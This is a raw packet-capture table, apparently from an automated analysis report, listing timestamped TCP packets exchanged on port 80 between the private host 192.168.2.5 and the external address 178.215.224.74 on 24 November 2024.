Nov 24, 2024 12:07:29.666739941 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.701225042 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701256037 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701306105 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701330900 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.701333046 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701364994 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701396942 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701508045 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.701556921 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701582909 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701630116 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701658010 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.701698065 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.701714993 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701832056 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701859951 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.701888084 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.701925993 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.701989889 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702024937 CET	80	50081	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702058077 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702079058 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.702111959 CET	50081	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.702136993 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.702171087 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702244997 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702246904 CET	50081	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.702270985 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.702291012 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702303886 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.702346087 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.702368975 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702461004 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702487946 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702523947 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.702539921 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.702569008 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702603102 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702658892 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.702699900 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702745914 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702807903 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.702845097 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702888966 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.702951908 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.703005075 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703031063 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703084946 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.703155041 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703181982 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703238010 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.703262091 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703294039 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703346968 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.703417063 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703444004 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703475952 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703500032 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.703528881 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703533888 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.703578949 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.703646898 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703697920 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703753948 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.703775883 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703883886 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703919888 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.703944921 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.703974962 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.703989983 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704041958 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.704124928 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704152107 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704179049 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704209089 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.704210997 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704235077 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.704246044 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704266071 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.704303980 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704304934 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.704399109 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704454899 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.704454899 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704586983 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704632998 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704643965 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.704680920 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704691887 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.704734087 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.704829931 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704859972 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704885960 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704910994 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.704917908 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.704938889 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.704977989 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.705009937 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705113888 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705140114 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705167055 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.705203056 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.705274105 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705321074 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.705323935 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705467939 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705495119 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705518961 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.705528021 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705553055 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.705559969 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705581903 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.705610991 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.705645084 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705687046 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705698013 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.705874920 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705902100 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705934048 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.705952883 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.705956936 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.705981016 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706012011 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706038952 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706068993 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706093073 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706120968 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706144094 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706170082 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706195116 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706222057 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706245899 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706248999 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706276894 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706301928 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706350088 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706377029 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706428051 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706434011 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706454039 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706480026 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706485033 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706504107 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706541061 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706608057 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706635952 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706660032 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706669092 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706698895 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706727982 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706773043 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706800938 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706849098 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706865072 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706876993 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706898928 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706907988 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706927061 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.706931114 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.706954002 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.707007885 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.786119938 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.786161900 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.786257982 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.820794106 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.820833921 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.820926905 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.820955992 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.820983887 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821011066 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821041107 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821043968 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821063042 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821072102 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821099997 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821132898 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821146011 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821173906 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821198940 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821201086 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821240902 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821244955 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821269035 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821276903 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821301937 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821341991 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821342945 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821373940 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821413994 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821418047 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821486950 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821521997 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821549892 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821600914 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821626902 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821633101 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821662903 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821677923 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821687937 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821706057 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821742058 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821747065 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821774960 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821775913 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821840048 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.821894884 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821923018 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.821996927 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822004080 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.822047949 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822113991 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.822138071 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822182894 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822231054 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822252989 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.822283983 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.822288036 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822335958 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822362900 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822392941 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.822468042 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822534084 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822737932 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822767973 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822832108 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822860003 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822891951 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822918892 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822972059 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.822998047 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823045969 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823074102 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823123932 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823151112 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823229074 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823256016 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823376894 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823405027 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823455095 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823482990 CET	80	50081	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823532104 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823559046 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823585033 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823620081 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823651075 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823720932 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823746920 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823780060 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823843002 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823877096 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823909998 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.823995113 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824022055 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824109077 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824140072 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824189901 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824217081 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824265957 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824292898 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824345112 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824371099 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824446917 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824474096 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824522972 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824549913 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824632883 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824660063 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824712038 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824743032 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824810982 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824839115 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824918985 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.824945927 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825000048 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825030088 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825105906 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825133085 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825201035 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825227976 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825278997 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825305939 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825356960 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825382948 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825484037 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825510025 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825576067 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825603962 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825655937 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825680971 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825712919 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825762987 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825830936 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825860023 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825911999 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825938940 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.825970888 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826020956 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826091051 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826117992 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826200962 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826226950 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826282024 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826308966 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826340914 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826390028 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826421022 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826472044 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826545000 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826596975 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826625109 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826703072 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826730967 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826757908 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826826096 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826854944 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826881886 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826914072 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826941013 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.826967955 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.827028990 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.827059031 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.827085972 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.827111959 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.827143908 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.905615091 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.905653954 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.940457106 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.940517902 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.940670967 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.940722942 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.940896034 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.940949917 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941071033 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941119909 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941174030 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941201925 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941303968 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941334009 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941366911 CET	80	50080	178.215.224.74	192.168.2.5
